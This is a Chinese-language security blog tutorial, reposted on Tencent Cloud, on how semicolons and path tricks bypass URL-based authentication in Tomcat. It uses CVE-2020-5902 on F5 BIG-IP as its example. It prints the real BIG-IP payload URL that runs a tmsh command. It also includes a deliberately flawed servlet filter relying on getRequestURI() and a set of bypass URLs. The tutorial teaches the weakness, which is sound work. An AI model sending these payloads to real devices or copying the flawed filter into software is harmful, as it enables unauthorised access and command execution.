前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2020-5902——关于;号绕过认证技巧总结

CVE-2020-5902——关于;号绕过认证技巧总结

作者头像
Jayway
发布2020-07-13 11:08:56
4.3K0
发布2020-07-13 11:08:56
举报
文章被收录于专栏:卓文见识卓文见识

一、背景

借BIG IPCVE-2020-5902 漏洞的payload说一下前端认证绕过,注意这里用到的;分号,是不是在很多认证绕过的payload里都见过。

代码语言:javascript
复制
https://[F5Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'

二、原理解析

1、HttpServletRequest中URL解析函数

首先要了解HTTPServletRequest中对URL路径的几种解析方法:

代码语言:javascript
复制
request.getRequestURL():返回全路径;
request.getRequestURI():返回除去Host(域名或IP)部分的路径;
request.getContextPath():返回工程名部分,如果工程映射为/,则返回为空;
request.getServletPath():返回除去Host和工程名部分的路径;
request.getPathInfo():仅返回传递到Servlet的路径,如果没有传递额外的路径信息,则此返回Null;

漏洞出在,当后台程序使用getRequestURI()或getRequestURL()函数来解析用户请求的URL时,若URL中包含了一些特殊符号,则可能会造成访问限制绕过的安全风险,其中分号;就是其一。

2、Tomcat对URL特殊字符的处理

1)分号;

在URL中遇到;号会将;xxx/中的分号与斜杠之间的字符串以及分号本身都去掉:

2)斜杆/

判断是否有连续的/,存在的话则循环删除掉多余的/:

3)./和../

将/./删除掉、将/../进行跨目录拼接处理。

总结一下,分号可用在两种场景:

代码语言:javascript
复制
/;xxx/实现分割目录
/..;/实现跨目录,常用在../被禁用的场景下
;.css或;.js等利用白名单绕过认证鉴权

三、案例

假设Tomcat上启动的Web目录下存在一个info目录,其中有一个secret.jsp文件,其中包含敏感信息:

代码语言:javascript
复制
<%@ pagecontentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
   <title>Secret</title>
</head>
<body>
username: mi1k7ea<br>
password: 123456<br>
address: china<br>
phone: 13666666666<br>
</body>
</html>

新建一个filter包,其中新建一个testFilter类,实现Filter接口类,实现只要访问/urltest/info目录下的资源,都需要进行权限判断,否则直接放行。

注意这里调用getRequestURI()函数来获取请求中的URL目录路径,然后调用startsWith()函数判断是否是访问的敏感目录:

代码语言:javascript
复制
package filter;

import javax.servlet.*;
import javax.servlet.http.*;
import java.io.IOException;

public class testFilter implements Filter {
   @Override
   public void init(FilterConfig filterConfig) throws ServletException {

    }

   @Override
   public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,FilterChain filterChain) throws IOException, ServletException {
       HttpServletRequest httpServletRequest =(HttpServletRequest)servletRequest;
       HttpServletResponse httpServletResponse =(HttpServletResponse)servletResponse;

        String url =httpServletRequest.getRequestURI();

       if (url.startsWith("/urltest/info")) {
           httpServletResponse.getWriter().write("No Permission.");
           return;
       }

       filterChain.doFilter(servletRequest, servletResponse);
    }

   @Override
   public void destroy() {

    }
}

编辑web.xml,添加testFilter设置:

代码语言:javascript
复制
<?xml version="1.0"encoding="UTF-8"?>
<web-appxmlns="http://xmlns.jcp.org/xml/ns/javaee"
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaeehttp://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
        version="4.0">
   <filter>
       <filter-name>testFilter</filter-name>
       <filter-class>filter.testFilter</filter-class>
   </filter>
   <filter-mapping>
       <filter-name>testFilter</filter-name>
       <url-pattern>/*</url-pattern>
   </filter-mapping>
</web-app>

运行之后,访问http://localhost:8080/urltest/info/secret.jsp,会显示无权限,可用的绕过方法有下面几种:

代码语言:javascript
复制
加/绕过:http://localhost:8080//urltest/info/secret.jsp
跨目录:http://localhost:8080/urltest/anything/../info/secret.jsp
       或http://localhost:8080/urltest/anything/..;/info/secret.jsp
./绕过:http://localhost:8080/urltest/./info/secret.jsp
;绕过:http://localhost:8080/urltest/;anything/info/secret.jsp

参考:

代码语言:javascript
复制
http://www.mi1k7ea.com/2020/04/01/Tomcat-URL%E8%A7%A3%E6%9E%90%E5%B7%AE%E5%BC%82%E6%80%A7%E5%8F%8A%E5%88%A9%E7%94%A8/
https://mp.weixin.qq.com/s/ujfGCP25lFVRtNQOJYBYDw
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-07-07,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 卓文见识 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一、背景
  • 二、原理解析
    • 1、HttpServletRequest中URL解析函数
      • 2、Tomcat对URL特殊字符的处理
      • 三、案例
      领券
      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档